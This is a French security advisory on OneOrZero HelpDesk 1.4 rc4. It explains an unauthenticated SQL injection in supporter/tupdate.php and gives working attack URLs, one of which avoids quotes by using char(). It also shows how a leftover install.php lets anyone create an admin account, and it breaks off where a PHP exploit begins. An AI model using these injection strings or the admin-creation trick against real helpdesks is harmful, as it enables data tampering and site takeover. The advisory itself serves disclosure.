OneOrZero HelpDesk
******************
Informations :
°°°°°°°°°°°°°°
Langage : PHP
Website : http://www.oneorzero.com
Version : 1.4 rc4
Problèmes :
- Injection SQL
- Accès Admin
Developpement :
°°°°°°°°°°°°°°°
OneOrZero HelpDesk, est, comme le dit son nom, un helpdesk (litteralement "bureau d'aide"), c'est à dire
un endroit où des utilisateurs peuvent poster des questions, et où on devrait leurs y répondre.
Il inclut une zone membre et admin.
Pour étudier les deux failles exposées ici, il faut connaître la structure de deux tables, qu'on peut trouver dans
le fichier admin/install.php.
La première, $mysql_users_table, la table où sont enregistrés les utilisateurs, est composée de (dans l'ordre, clef
primaire en premier):
id int(11),
first_name varchar(60),
last_name varchar(60),
user_name varchar(60),
email varchar(60),
pager_email varchar(255),
password varchar(255),
office varchar(60),
phone varchar(48),
user int(1),
supporter int(1),
admin int(1),
theme varchar(60),
msn varchar(60),
yahoo varchar(60),
icq varchar(60),
lastactive int(60), ,
language varchar(60),
time_offset int(5).
La table $mysql_tickets_table, elle, contenant les questions posées, est composée de (dans l'ordre aussi):
id int(11),
create_date int(60),
groupid int(60),
supporter varchar(48),
supporter_id int(60),
priority varchar(48),
status varchar(48),
user varchar(255),
email varchar(255),
office varchar(48),
phone varchar(48),
category varchar(48),
platform varchar(48),
short varchar(255),
description text,
update_log text,
survey int(1),
lastupdate int(60).
La première faille est une faille d'injection SQL.
Elle se trouve dans le fichier supporter/tupdate.php, qui est connecté à la base de données.
Il n'y a pas besoin non plus d'être membre pour y arriver, sauf si l'administrateur en a décidé ansi.
On peut y voir les lignes de code suivantes :
--------------------------------------------------------------------------
if($groupid == 'change'){
$sql = "UPDATE $mysql_tickets_table set groupid=$sg where id=$id";
$result = $db->query($sql);
}
--------------------------------------------------------------------------
On peut donc modifier nous-même le groupid de n'importe quel 'ticket' dans la base de données.
Mais aussi n'importe quel autre champ de la table $mysql_tickets_table, par exemple pour changer la description,
il suffira de taper une url du type :
http://[target]/supporter/tupdate.php?groupid=change&sg=groupid,description='nouvelle%20description'&id=1
Ce qui executera comme requête SQL :
---------------------------------------------------------------------------------------------
UPDATE $mysql_tickets_table set groupid=groupid,description='nouvelle description' where id=1
---------------------------------------------------------------------------------------------
et changera la description du ticket 1.
Ce qui est particulierement interessant, c'est qu'on peut ici faire de l'injection sans utiliser les caractères
' ou " (ce qui pose problème avec la configuration par défaut de PHP qui les addslashes), grâce à aux fonctions
MySQL comme char().
Par exemple l'url
http://[target]/supporter/tupdate.php?groupid=change&sg=groupid,user=char(97,98,99,100)&id=10
changera l'utilisateur qui a envoyé le ticket 10 en "abcd".
L'autre faille ne se trouve pas partout, elle dépend du webmaster.
OneOrZero contient une interface d'installation, dans admin/install.php. Hors le fichier ne se supprime pas quand
l'installation est finie, et ne vérifie pas, dans la création d'un compte admin, si un compte admin a déjà été créé
lors de l'installation ou pas.
On trouve donc dans ce fichier le code suivant :
----------------------------------------------------------------------------------------------------------------------------
[...]
if($step == 2){
echo "
";
start("Helpdesk Installation", "center");
if($HTTP_POST_VARS['first'] == ''){
showError("first name");
$flag = 1;
}
if($HTTP_POST_VARS['last'] == ''){
showError("last name");
$flag = 1;
}
if($HTTP_POST_VARS['user'] == ''){
showError("user name");
$flag = 1;
}
if($HTTP_POST_VARS['email'] == ''){
showError("email address");
$flag = 1;
}
if($HTTP_POST_VARS['pwd1'] == '' || $HTTP_POST_VARS['pwd2'] == ''){
showError("password");
$flag = 1;
}
if($HTTP_POST_VARS['office'] == ''){
showError("office");
$flag = 1;
}
if (!checkPwd($HTTP_POST_VARS['pwd1'], $HTTP_POST_VARS['pwd2'])){
showError("password");
$flag = 1;
}
if(!validEmail($HTTP_POST_VARS['email'])){
showError("email");
$flag = 1;
}
if($flag == 1){
endit();
exit;
}
[...]
$pwd = md5($HTTP_POST_VARS['pwd1']);
$query = "INSERT IGNORE into $mysql_users_table VALUES(NULL, '".$HTTP_POST_VARS['first']."', '".$HTTP_POST_VARS['last']."', '".$HTTP_POST_VARS['user']."', '".$HTTP_POST_VARS['email']."', '', '".$pwd."', '".$HTTP_POST_VARS['office']."', '".$HTTP_POST_VARS['phone']."', 1, 1, 1, 'default', null, null, null, 0, 'English', '0')";
$db->query($query);
[...]
----------------------------------------------------------------------------------------------------------------------------
Ce code vérifie d'abord si toutes les informations sont remplies, si l'adresse e-mail est valable, et si le mot de passe
est bien confirmé, puis insere dans la table $mysql_users_table le nouvel utilisateur en lui donnant les droits admin.
Il est spécifié que les variables doivent venir d'un formulaire POST.
Il y a donc plusieurs façon d'utiliser cette faille.
La plus pratique est de créer un exploit PHP du style :
----------------------------------------------------------------------------------------------------------------------------